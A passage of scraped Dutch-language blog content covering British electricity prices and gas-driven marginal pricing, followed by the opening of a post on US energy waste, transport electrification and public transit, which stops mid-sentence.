4,06 10,21 17:30 £134,16 6,23 GW 25,6% 133 g/kWh 2,64 9,68 18:00 £175,57 7,96 GW 32,2% 150 g/kWh 1,53 8,96 19:30 £195,65 8,87 GW 39,9% 162 g/kWh 0,02 6,99 De zon ging onder. Gas verdrievoudigde, van 2,85 GW naar 8,87. En de prijs ging in drieënhalf uur van min negentien pond naar bijna tweehonderd. Plus £57 in het halfuur tot half vijf, nog eens £65 tegen vijf uur, nog eens £41 tegen zes. De CO₂-intensiteit meer dan verdubbelde terwijl het gebeurde.\nNeem de hele dag in plaats van het interessante stuk ervan, en de relatie houdt stand over alle achtenveertig afrekenperiodes.\n20 september 2026, alle 48 halve uren Aandeel gas liep van 7,4% tot 39,9% Prijs liep van −£19,03 tot £195,65 Totale spreiding £214,68/MWh Correlatie, aandeel gas tegen prijs r = 0,933 Halve uren met een negatieve prijs 18, van 01:00 tot 16:00 Nul komma drieënnegentig, op één dag, met de gascontracten vast. En negen uur lang betaalde Groot-Brittannië mensen om stroom van het net af te nemen. Gas omlaag op 7,4%, zon richting 10 GW, prijs onder nul.\nToen ging de zon onder en kostte het £195,65. Dezelfde draden. Dezelfde windparken. Hetzelfde land.\nHet mechanisme heet marginale prijsvorming. De groothandelsprijs wordt gezet door de bedrijfskosten van de duurste centrale die dat halfuur nodig is, en dat is vrijwel altijd gas. Tijdens de crisis zette gas de prijs 98% van de tijd terwijl het rond 40% van de elektriciteit leverde; in 2021 97% van de tijd op 37% van de opwek.24 Het hoogste aandeel van welk land in Europa dan ook.\nAandeel in opwek Aandeel in prijszetting Gas 27,0% afgelopen jaar1 97–98% van de periodes24 Wind, zon, kernenergie, water, biomassa 73,0% de rest Wees trouwens eerlijk over één ding in die data, want iemand gaat het opmerken. Het gemiddelde over de hele periode is £70,13/MWh op een viezere mix dan die van nu, goedkoper dan de £92,77 van het afgelopen jaar. Dat is niet wind die de prijzen opdrijft. Dat zijn de jaren 2012 tot 2020 met goedkoop gas. Over tijdperken heen domineert de gasprijs; binnen één dag doet het weer dat. Beide wijzen dezelfde schuldige aan.\nEen kwart van de mix bepaalt dus de prijs van het geheel. Wind zou bij de opwek gratis kunnen zijn, en een groot deel ervan is dat feitelijk, en het getal op je rekening zou niet bewegen, omdat de laatste gascentrale op de stapel nog steeds het tarief zet.\nDat is niet hernieuwbaar dat stroom duur maakt. Dat is een marktontwerp uit de jaren negentig dat een net tegenkomt dat niet meer op de jaren negentig lijkt.\nHet tegenvoorbeeld bezegelt het. Neem één gasprijspiek, van het soort dat we al hebben meegemaakt, en modelleer die tegen twee verschillende netten.24\nDezelfde gaspiek raakt een net met… Rekeningen huishoudens stijgen de hernieuwbaardoelen voor 2030 gehaald 8% helemaal geen door CfD gesteunde hernieuwbare bronnen 45% Dezelfde piek. Hetzelfde gas. Het enige verschil is hoeveel wind en zon er staat dat zich niets aantrekt van wat gas kost. Meer hernieuwbaar, kleinere klap. Met een factor vijfeneenhalf.\nDe windparken zijn dus de reden dat de vorige crisis te overleven was, niet de reden dat hij gebeurde. Drie aparte toetsen, één antwoord: binnen een dag volgt de prijs de wind omgekeerd, over tijdperken heen volgt hij de gasprijs, en in de modellen zijn het de hernieuwbare bronnen die de piek afvlakken. Gas is de oorzaak. Het is niet nipt, en het is ook niet echt betwistbaar.\nWat die avond had opgelost Houd dat nu naast de achttien halve uren eerder diezelfde dag waarop de prijs onder nul stond. Dat is precies de vorm van probleem die een accu oplost. Laad hem terwijl het net mensen betaalt om stroom van zijn handen te nemen, duw hem terug de avondpiek in, en de laatste gascentrale op de stapel wordt nooit geroepen. De spreiding op 20 september was £214,68 per megawattuur. Accu\u0026rsquo;s bestaan om zulke spreidingen op te eten.\nWat ons terugbrengt bij die 5.076 MW aan accuprojecten in tien gemeenten, en bij de partij die elke hefboom ertegen beloofde. Opslag blokkeren stelt niet alleen wat CO₂-reductie uit. Het beschermt de gasmarge, halfuur na halfuur, precies op de avonden waarop gas het meeste waard is.\nOf dat de bedoeling is: volg het geld. Het effect is het hoe dan ook, en de financiering achter het argument hoort, volgens de tabel hierboven, bij de industrie die het verschil int.\nDe heffingen, en wie de cijfers controleerde En de heffingen, aangezien die als het bewijsstuk worden aangehaald:\nOnderdeel van de rekening, 2025 Bedrag Aandeel Beleidskosten op elektriciteit £148,45 17% van de elektriciteitsrekening25 Beleidskosten op gas £50,86 6% van de gasrekening25 Zeventien procent, en vanaf april 2026 haalde de regering 75% van de Renewables Obligation van de rekeningen af en naar de algemene belastingen, ongeveer £92 per jaar van de gemiddelde verlaging van £150.25 Echt geld, het bespreken waard, en lang niet de hoofdzaak. De hoofdzaak is de 27% van de opwek die de prijs van de andere 73% bepaalt.\nIk ga je niet vertellen hoeveel van die 42 commentaren leugens waren, want opzet bewijzen is niets wat ik vanachter een bureau kan. Wat wel te tonen is, is het foutenpercentage, en dat is slecht. Een klacht tegen één stuk in de Daily Mail wees vijftien feitelijke fouten aan; de toezichthouder eiste één correctie.26 The Mail on Sunday en The Times berichtten allebei dat NESO had vastgesteld dat de kosten van net zero tegen 2050 £4,5 biljoen zouden bedragen. NESO stelde niets van dien aard vast, en het was de derde keer dat kranten datzelfde orgaan verkeerd weergaven.26\nVoordat iemand me het lage aantal gegronde klachten voorhoudt: in de klachtencommissie van IPSO zit geen enkele beroepswetenschapper, ze raadpleegt geen deskundigen over technische onderwerpen, en ze behandelt een fout getal routineus als een mening.26 Eén gegronde klacht op vijftien fouten meet de toezichthouder, niet het artikel.\nTrek je eigen conclusie. De mijne is dat het meest herhaalde argument tegen hernieuwbare energie in de Britse pers het argument is dat het snelst instort als je het naast de eigen meter van het net legt.\nEn de gasprijs maken wij niet Hier is wat er echt met gas gebeurde, op de Europese TTF-benchmark.27\nTTF-gasprijs Gemiddelde vóór 2021 ~€20/MWh December 2021 €180 Maart 2022 €220 Piek augustus 2022 ~€340 Begin 2026 €35–45 Medio september 2026 €83,40 Zeventien keer het normale tarief op de piek. En kijk naar die laatste regel. Gas ging deze maand naar €83 op zorgen over aanvoer en opslag, en precies daarom kostte een windstille zondagavond op het Britse net £179,70/MWh. De ketting is kort: de Europese gasmarkt beweegt, gas zet de Britse prijs, jouw rekening volgt.\nMerk ook op dat “terug naar normaal” dat niet is. De huidige bodem van €35–45 is nog steeds het dubbele van vóór de crisis, en hij schiet omhoog op een gerucht.\nGeen van die besluiten wordt hier genomen, en onze blootstelling groeit.28\nBritse gasvoorziening Aandeel Noordzee in de vraag, 2025 ongeveer de helft Geïmporteerd gas, 2025 464 TWh waarvan Noorse pijpleiding 69% van de import waarvan LNG 31% van de import LNG als aandeel van de totale voorziening nu 14% Aandeel LNG tegen 2030 ruim 25% Aandeel LNG tegen 2035 bijna 50% De productie uit de Noordzee daalt 12–13% per jaar en zou tegen 2035 78% lager liggen dan in 2025.28 Het gat wordt gevuld door tankers uit Qatar en de Verenigde Staten, gekocht op een mondiale spotmarkt tegen kopers in Azië die ons kunnen overbieden op elke koude ochtend die hun uitkomt.\nHet argument dat we het net op gas moeten houden omwille van de rekeningen heeft het dus achterstevoren. Gas is het stuk dat we niet in de hand hebben, geprijsd door gebeurtenissen waar we geen invloed op hebben, uit velden die opraken. Wind en zon zijn het stuk dat hier voor niets gebeurt zodra de spullen er staan.\nWat het kost en wat je ervoor betaalt Er is een verschil tussen wat iets kost en wat je ervoor in rekening wordt gebracht, en deze hele kwestie zit in dat gat.\nDe kosten van het draaien van dit net zijn gedaald. De helft van de CO₂, geen kolen, een derde van de opwek komt inmiddels van weer dat gratis arriveert en geen factuur stuurt. Dat zijn de kosten. De prijs ging de andere kant op, omdat we een regel uit de jaren negentig hebben gehouden die de duurste centrale in het systeem het tarief voor al het andere laat zetten, en vervolgens de brandstof voor die centrale importeerden uit een markt waar een koudegolf in Azië beweegt wat een gepensioneerde in Barnsley betaalt om warm te blijven.\nNiemand verbergt dat. Het staat opgeschreven, in afrekengegevens per halfuur, gratis, op een website die één vrouw onderhoudt.\nWaar ik steeds op terugkom is wie er baat heeft bij de verwarring. Want de mensen die je vertellen dat de windparken dit gedaan hebben worden, als je het geld terugvolgt, gefinancierd door het ding dat het werkelijk deed. Dat is geen toeval en het is geen onkunde. Het is de oudste truc die er is: maak het publiek kwaad op het goedkoopste deel van het systeem zodat niemand naar het duurste kijkt.\nEn het deel dat onder vuur ligt is het enige deel dat helemaal van ons is. Een gasturbine heeft een tanker uit Qatar nodig en een prijs die in Rotterdam wordt gezet. Een windpark voor de Humber heeft onderhoud nodig. Het ene is soevereiniteit en het andere een doorlopende opdracht, en het lijkt erop dat we onszelf uit het eerste gaan praten om het tweede te beschermen.\nWe hebben het ding gebouwd. Het werkt. Iemand zou het de mensen moeten vertellen.\nBronnen Kate Morley — National Grid: Live — de opwekmix, CO₂-intensiteit, vraag en prijs van Groot-Brittannië, te kiezen over de afgelopen dag, week, jaar en de hele dataset vanaf 2012; ook de sluiting van de laatste kolencentrale op 30 september 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDrax — 2024, the year GB electricity demand turned a corner — twee decennia dalende vraag, de last die elektrische voertuigen en warmtepompen toevoegden, en de ommekeer van 2024.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEuropean Commission — Light sources, energy label and ecodesign — de ecodesign-voorschriften voor verlichting en de 81 TWh elektriciteit die ze in 2020 EU-breed bespaarden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Transport — Vehicle licensing statistics data tables, VEH0141 — geregistreerde stekkervoertuigen aan het einde van elk kwartaal naar carrosserie en brandstof. De cijfers hierboven zijn de kolom batterij-elektrisch voor Groot-Brittannië in het vierde kwartaal van elk jaar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNational Energy System Operator — Future Energy Scenarios — de opkomst van elektrische voertuigen tot 2050 over de paden heen, de vehicle-to-grid-capaciteit, en de herziening van de flexibiliteit uit slim laden.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMCS — UK homes installing a small-scale renewable every 90 seconds — de totalen aan gecertificeerde installaties, de mijlpaal van twee miljoen en het geïnstalleerde vermogen, en het aandeel nieuwe zonnesystemen met accuopslag erbij.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Reform-led councils threaten 6GW of solar and battery schemes across England — het vermogen in de tien gemeenten die in mei 2025 werden overgenomen, de toezegging “every lever”, de brieven aan ontwikkelaars en bestuursvoorzitters van energiebedrijven, en wat er sindsdien echt met de projecten is gebeurd.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Planning for solar farms — zon op de grond besloeg eind september 2024 naar schatting 21.200 hectare, rond 0,1% van het totale landoppervlak van het VK.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLancaster University — Researchers use satellite imagery to shed light on UK solar farm land use — satellietmeting die het grondgebruik van zonneparken op 15.580 tot 17.364 hectare zet, 0,06% tot 0,07% van het landoppervlak van het VK.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFriends of the Earth — Fact check: British farming and renewables — het landoppervlak onder golfbanen tegenover zon, en het aandeel landbouwgrond dat het doel van 70 GW tegen 2035 impliceert.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCPRE — Two-thirds of mega solar farms built on productive farmland — 59% van Engelands grootste operationele zonneparken op productieve landbouwgrond, 31% van dat oppervlak ingedeeld als beste en meest veelzijdige grond.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — bezwaren en weigeringen in de ruimtelijke ordening, waaronder de projecten bij Allerton Bywater, Eaglesham en in Devon, thermal runaway als brandmechanisme, en het ontbreken van enige wettelijke plicht voor gemeenten om de brandweer te raadplegen over een BESS-aanvraag.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — Battery energy storage systems — gedocumenteerde Britse branden bij BESS op netschaal, waaronder Liverpool in september 2020 en een locatie in Essex die in februari 2025 in aanbouw was, en de opmerking dat er geen betrouwbare openbare telling van incidenten bestaat.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEPRI — BESS Failure Incident Database — het mondiale beeld van storingen op netschaal sinds 2011, het Zuid-Koreaanse cluster van 2017–2019, de daling van het storingspercentage per geïnstalleerde eenheid tegenover de groei van de uitrol, en het voorbehoud dat de database alleen openbaar gemelde incidenten vastlegt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUtility Dive — Cells and modules not responsible for most battery energy storage system failures — EPRI\u0026rsquo;s grondoorzakenanalyse: integratie, montage en bouw bij 36% van de storingen, bedrijfsvoering 29%, ontwerp 21%, fabricagefouten 4%; 89% van de incidenten ontstaat niet in de accu; en de concentratie van storingen in bouw, inbedrijfstelling en de eerste twee bedrijfsjaren.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nLeft Foot Forward — What is the Heartland Institute? — de lancering van de Britse tak, de aanwezigheid, en Heartlands financiering door ExxonMobil en aan Koch gelieerde stichtingen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nopenDemocracy — Net Zero Watch: how dark oil money is funding influential UK climate sceptics — de financiering van GWPF en Net Zero Watch via American Friends of the GWPF, inclusief de betalingen van de Sarah Scaife Foundation.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nClimate Power — Fact check: Trump\u0026rsquo;s wind turbine claims — de beweringen over kanker en walvissen tegenover het standpunt van NOAA en de National Marine Fisheries Service, de schattingen van de US Fish and Wildlife Service voor vogelbotsingen met turbines afgezet tegen gebouwen en katten, en de oorsprong van het dierenwelzijnsargument in door fossiel gefinancierd denktankwerk.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCNN — Fact check: five things Trump got wrong about wind turbines — de bewering over “tremendous fumes” en de CO₂-voetafdruk tegenover het standpunt van het ministerie van Energie, de energieterugverdientijd van vijf tot acht maanden voor een gemiddelde turbine, en de uitstoot van wind vergeleken met gas en kolen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInstitute at Brown for Environment and Society — Shadowy Twitter bots spread climate disinformation — het aandeel tweets dat klimaatwetenschap nep noemt en dat te herleiden was tot botaccounts. Let op: dit is een onderzoek uit 2021 over klimaatontkenning in het algemeen, niet over Britse hernieuwbare energie in het bijzonder.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDeSmog — 55 Tufton Street en Mapped: how a US-UK network pushes climate science denial — het cluster in Westminster en zijn leden, het bereik van het Atlas Network en de financiering via Donors Trust en de Charles Koch Foundation, de ongeveer tweeduizend in kaart gebrachte transatlantische verbindingen, en de aanwezigheid van klimaatontkennende groepen op het Reform-congres van 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDFRLab — UK-based far-right Telegram channels amplified disinformation targeting US election integrity — gedocumenteerde transatlantische versterking in beide richtingen, en de rol van Engelstalige publicaties bij het zetten van verhaallijnen die vervolgens worden herhaald door media die in andere talen werken.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPress Gazette — Record opposition to climate action in UK national newspapers in 2025 — de telling van commentaren die hernieuwbare energie bekritiseren, het eerste jaar sinds 2014 dat ze de steunende overtroffen, het aandeel rechtse klimaatcommentaren dat klimaatbeleid afwijst, en kosten als dominante aanvalslijn.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Brief — Q\u0026amp;A: Why does gas set the price of electricity, and is there an alternative? — marginale prijsvorming in Groot-Brittannië, het aandeel afrekenperiodes waarin gas de prijs zet tegenover zijn aandeel in de opwek, en het gemodelleerde effect van een gasprijspiek met en zonder door CfD gesteunde hernieuwbare bronnen in het systeem.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHouse of Commons Library — What costs make up an electricity bill? — beleidskosten op elektriciteits- en gasrekeningen in geld en als aandeel, de Renewables Obligation als grootste afzonderlijke beleidskostenpost, en de verschuiving van 75% van die kosten naar de algemene belastingen vanaf april 2026.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCarbon Commentary — Climate misinformation and press regulation — de vijftien onjuistheden die in één artikel van de Daily Mail werden vastgesteld tegenover één geëiste correctie, de herhaalde verkeerde weergave van NESO\u0026rsquo;s bevindingen over de kosten van net zero, en de samenstelling en werkwijze van de klachtencommissie van IPSO bij technische onderwerpen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTrading Economics — EU natural gas (TTF) price history — de Nederlandse TTF-benchmark van de basislijn vóór 2021 via de piek van 2021–22 tot de top van augustus 2022 en de huidige niveaus, inclusief de beweging in september 2026 op zorgen over aanvoer en opslag.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICIS — Ebbing North Sea gas production to raise UK gas prices and exposure to LNG imports — de Noordzee die in 2025 ongeveer de helft van de vraag dekt, het volume en de verdeling van de import, het tempo van de daling op het Britse plat, en de verwachte LNG-afhankelijkheid tot 2030 en 2035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/energy/the-grid-we-did-fix/","summary":"Groot-Brittannië heeft de CO₂-intensiteit van zijn stroom in veertien jaar gehalveerd, een heel jaar zonder kolen gedraaid en wind de grootste enkele bron gemaakt. Ondertussen daalde de vraag twee decennia lang terwijl het land 1,8 miljoen elektrische voertuigen aansloot. Dit is wat de cijfers laten zien, inclusief de stukken die het verhaal bederven.","title":"Het net dat we wél gerepareerd hebben"},{"content":"Het getal dat iedereen citeert en niemand leest Lawrence Livermore bracht laatst zijn energiestroomgrafiek voor 2024 uit. Er staat in dat Amerika 94,61 quads energie heeft verstookt en er 62,27 van heeft weggegooid.1\nGoed. Een quad is een biljard British thermal units, oftewel 10¹⁵ BTU. Geen geldbedrag: in het Engelse origineel klinkt quad als quid, het Britse woord voor een pond, en er komt in dit stuk nergens geld aan te pas. De Amerikanen houden hun nationale energieboekhouding in quads bij en de rest van ons rekent in wattuur, dus hier is de omrekening die het betekenis geeft: een quad is ongeveer 293 TWh, een tikje meer dan het hele Britse net in een jaar levert.\nVerloren energie is de nette naam voor die 62,27. Het deel dat geen nuttig werk heeft gedaan. Warmte de schoorsteen uit, warmte van een radiator af, warmte de uitlaat uit. Bijna alles ervan is restwarmte van het verbranden van iets.\nEn let nu op de eenheden, want ik had dit eerst fout en het halve internet nog steeds. 62,27 zijn quads, geen procenten. Zet ze naast de 32,34 quads die wel iets nuttigs deden en het aandeel is 65,8%. Twee derde van alles wat is geboord, gegraven, door een pijp geduwd en verscheept, weg als warme lucht.\n2024 In Britse netten Energie erin 94,61 quads 27.726 TWh 102 jaar ervan Verloren 62,27 quads 18.249 TWh 67 jaar ervan Nuttige energie 32,34 quads 9.477 TWh 35 jaar ervan Die laatste kolom is degene die bij mij binnenkwam. Het net van Groot-Brittannië levert ongeveer 271 TWh per jaar.2 De verloren energie van Amerika over alleen 2024 komt dus neer op zevenenzestig jaar van het complete Britse net, weggegooid als warmte, in twaalf maanden.\nAnders gezegd: laat de elektriciteit van dit land draaien van nu tot 2093 en je hebt nog steeds niet opgewekt wat de Verenigde Staten vorig jaar hebben verspild.\nDat getal wordt overal geciteerd. Hoe de grafiek telt vrijwel nooit. Dat is het interessante stuk.\nEén opmerking vooraf, want dit is een stuk over Amerika van een man uit Yorkshire. In het origineel staan Britse woorden waar Amerika andere heeft: petrol voor benzine, forecourt voor het tankstation, aircon voor de airconditioning. En als ik nowt of summat zeg, bedoel ik niets en iets.\nWind en zon tellen voor 100% Hier gaan mensen de mist in. Livermore volgt de conventie van de Energy Information Administration, en daaronder gaan vier bronnen zonder enig omzettingsverlies de grafiek in.3\nBron Hoe die de grafiek in gaat Waar de verliezen heen gaan Kolen, gas, olie brandstofenergie erin ~60–70% naar verlies Kernenergie thermische energie erin ~67% naar verlies Wind op land elektriciteit eruit niets verloren Zon, veld en dak elektriciteit eruit niets verloren Waterkracht elektriciteit eruit niets verloren Een gascentrale wordt geteld op de energie in het gas, dus de twee derde die ze als warmte weggooit belandt in het verliesblok. Een turbine wordt geteld op de elektriciteit die ze levert. Er is geen regel “energie in de wind” om iets tegen te verliezen.\nOp deze grafiek doet elke terawattuur die van een thermische centrale naar een windpark verhuist dus twee dingen tegelijk. Hij telt op bij het nuttige en gaat af van het verlies. Hij telt dubbel.\nWat betekent dat het argument dat het schrappen van wind en zon het verlies zou verkleinen achterstevoren door precies de grafiek loopt waarover het gemaakt wordt. Dat is me in alle ernst voorgehouden door mensen die beter zouden moeten weten. Het is geen dubbeltje op zijn kant. Het is het omgekeerde teken.\nWaar het verlies echt zit Splits de grafiek per sector en het houdt op een abstractie te zijn.1\nSector Energie erin Verloren Nuttig Rendement Woningen 11,23 3,93 7,30 65% Diensten 9,49 3,32 6,17 65% Industrie 26,39 13,46 12,93 49% Vervoer 28,29 22,35 5,94 21% De centrales verliezen nog eens 19,21 quads door de koeltorens voordat er iets van bij die vier aankomt.\nVervoer is met afstand het slechtst. Het neemt het grootste deel van de energie en maakt er 21% beweging van. Die 22,35 verspilde quads zijn 36% van alles wat Amerika weggooit. Meer dan een derde van het landelijke verlies, in één sector.\nEen benzinemotor maakt misschien 16–25% van de brandstof tot beweging. De rest is warmte en herrie.4\nNuttig aan de wielen Verloren als warmte Benzinemotor 16–25% 75–84% Elektrische aandrijflijn (accu tot wiel) 87–91% 9–13% Dat is geen marginale winst. Dat is het verschil tussen een machine die vooral de lucht opwarmt en een die vooral de auto verplaatst. Dezelfde rit, andere natuurkunde.\nEn het loopt door de hele keten, niet alleen door het voertuig. Vloeibare brandstof bij een tankstation krijgen kost energie voordat er een druppel van is verbrand.\nStap Energie die het vervoer erheen kost Ruwe olie raffineren 7–15% van de invoer5 Tanker, pijpleiding, tankwagen daar bovenop Transport en distributie op het net ~5%6 Olietankers als aandeel van de wereldvloot ~28% naar draagvermogen7 Ruwe olie en producten over zee, per jaar ~4,4 miljard ton7 Wegvervoer is ongeveer de helft van de wereldwijde olievraag. Elektrificeer dat en een flink deel van de tankervloot heeft niets meer te vervoeren.\nHier hoort eerlijkheid, want overdrijven is hoe je een discussie verliest die je aan het winnen was. Netverliezen zijn echt en het is ohmse warmte. Een elektrische auto betaalt in de winter voor cabinewarmte die een verbrandingsmotor gratis krijgt. Maar die warmte is alleen gratis omdat de motor al drie kwart van de brandstof weggegooid had. Ze is gratis zoals de warmte van een huisbrand gratis is.\nHet grootste dat Amerika kan doen Lichte voertuigen zijn 58,5% van de vervoersenergie, en precies het deel dat elektrificeert zonder op nieuwe techniek te wachten.8 Reken door wat het wisselen van de aandrijflijn oplevert als je de rest laat staan.\nLicht wegvervoer Quads Energie erin, vandaag 16,55 Nuttig werk dat er echt uit komt 3,47 Hetzelfde werk via een elektrische aandrijflijn 4,09 elektriciteit …opgewekt uit gas, op STEG-rendement 9,08 primair …opgewekt uit wind, zon of water 4,09 primair Bespaarde energie 7,5 tot 12,5 quads Zelfs als je ze allemaal op gasturbines laadt, bespaar je ongeveer zevenenhalve quad. Op wind en zon is het twaalfenhalf. Acht tot dertien procent van alles wat de Verenigde Staten verbranden, uit één omwisseling.\nDat is de grootste rendementswinst die ergens op de grafiek te halen is, hij vraagt geen uitvinding, geen doorbraak, geen proefproject en geen nieuwe natuurkunde, want elk voertuig dat ervoor nodig is wordt vandaag al in aantallen gebouwd en verkocht. De auto\u0026rsquo;s bestaan. Dat is de hele truc.\nAlleen lost een betere motor de indeling niet op Een elektrische auto moet de afstand nog steeds afleggen, en daar zit de andere helft van het probleem.\nVerenigde Staten Europa Automijlen per persoon per jaar ~12.400 ~6.2009 Aandeel dagelijkse ritten met de auto 85% 50–65%9 Ritten korter dan een mijl met de auto ~70% ~30%9 Parkeerplaatsen per auto ~8 niet geteld9 Kijk naar de derde regel, want die haalt het excuus van de geografie weg. Ongeveer 30% van de dagelijkse ritten is korter dan een mijl, aan beide kanten van de Atlantische Oceaan. Dezelfde boodschappen, dezelfde afstanden. Amerikanen rijden er zeven van de tien. Europeanen lopen, fietsen of pakken er iets voor, zeven van de tien.\nDat heeft de geografie niet gedaan. Het weer ook niet. Dat heeft de bestemmingsplanning gedaan, door de huizen hier en de winkels drie mijl verderop te zetten, gesteund door parkeernormen die er uiteindelijk bijna acht plaatsen voor elke auto in het land bij hebben gebouwd.9 Tussen de jaren twintig en de jaren zestig zijn Amerikaanse steden rond de auto herbouwd en veel van West-Europa deed ze na. Vanaf eind jaren zestig hield Europa ermee op en begon het terug te draaien.9\nDie twaalfenhalve quad is dus het plafond van elektrificatie alleen. Halveer ook de mijlen en je halveert wat er over is. Het een is een ingenieursklus en het ander een planningsklus, en uit de planningsklus kan niemand zich met één aankoop vrijkopen.\nEn de goedkoopste reizigerskilometer is een gedeelde Er is een derde knop, en Amerika is er zo goed als mee gestopt eraan te draaien.\nVervoerwijze Energie per reizigerskilometer Benzineauto 1,9 tot 3,5 MJ10 Stedelijk elektrisch spoor, goed bezet 0,3 tot 0,6 MJ10 Vier tot zes keer beter, voordat iemand een aandrijflijn aanraakt. Een auto met één inzittende stoot per reizigersmijl 7,7 keer zoveel CO₂ uit als een volle touringcar.10\nEn dan de stand van zaken.\nVerenigde Staten Europa Aandeel reizigersmijlen in het openbaar vervoer 0,40%11 een veelvoud daarvan Ritten met de auto 95%11 50 tot 65% Geëlektrificeerd spoor 1,7% (de Amerika\u0026rsquo;s)11 ~57% in de EU11 Nul komma vier procent. Dat is geen vervoerssysteem met een deel openbaar vervoer. Dat is een land dat rijdt, met wat bussen erin.\nEn 1,7% elektrificatie betekent dat het Amerikaanse spoor nog altijd overweldigend diesel is. Elk argument om vracht en reizigers naar het spoor te verplaatsen gaat dus over een net dat nog steeds op olie draait. Elektrificeer het spoor en je krijgt de verschuiving en de brandstofwissel uit dezelfde klus.\nHier is het eerlijke stuk, want het snijdt de andere kant op en iemand gaat het noemen. Openbaar vervoer is alleen efficiënt als het vol is. De bezetting van bussen in de Staten daalt al decennia, en de energie per reizigersmijl in de bus is sinds 1970 met 63% gestegen.10 Een vrijwel lege bus op een lus van vijftig minuten door een woonwijk is slechter dan de auto die hij moest vervangen. Dat is een echt getal en een groot getal.\nMaar kijk naar wat een bus leeg maakt. Niemand op loopafstand van de halte, aan de andere kant niets waar het lopen waard is, en een indeling die acht parkeerplaatsen bij elke deur zet. Lege bussen zijn geen feit over bussen. Ze zijn een feit over wat er rond de halte is gebouwd.\nWat je brengt bij het ding dat mensen echt uit de auto haalt, en daar is het gat groter dan het aandeelcijfer doet vermoeden.\nVerenigde Staten Europa Steden met een metro 13 6012 Steden met een tramnet 30 veel meer12 Groei van de metrolengte sinds 2000 basis drie keer zo snel12 Dertien. In een land van driehonderdveertig miljoen mensen. Europa heeft er zestig, en legt sinds de eeuwwisseling drie keer zo snel nieuw spoor, dus het gat wordt groter in plaats van kleiner.\nDe vervoerwijze telt ook. Onderzoek naar Europese steden vond dat metro\u0026rsquo;s mensen uit de auto halen waar tramnetten dat grotendeels niet doen, wat klopt met wat je zou verwachten: een metro is in de spits sneller dan rijden en een tram meestal niet.12 Snelheid is het hele product. Bouw iets dat langzamer is dan de auto en je hebt een subsidie gebouwd voor mensen die geen keus hebben, geen alternatief voor mensen die die wel hebben.\nDat is de enige echt dure post op de lijst. Hervorming van bestemmingsplannen kost politieke wil en een herschrijving. Tunnels kosten miljarden. Maar ze kopen wat de andere twee niet kunnen. Je verplaatst mensen dwars door een dichte stad op elektriciteit, voor 0,3 tot 0,6 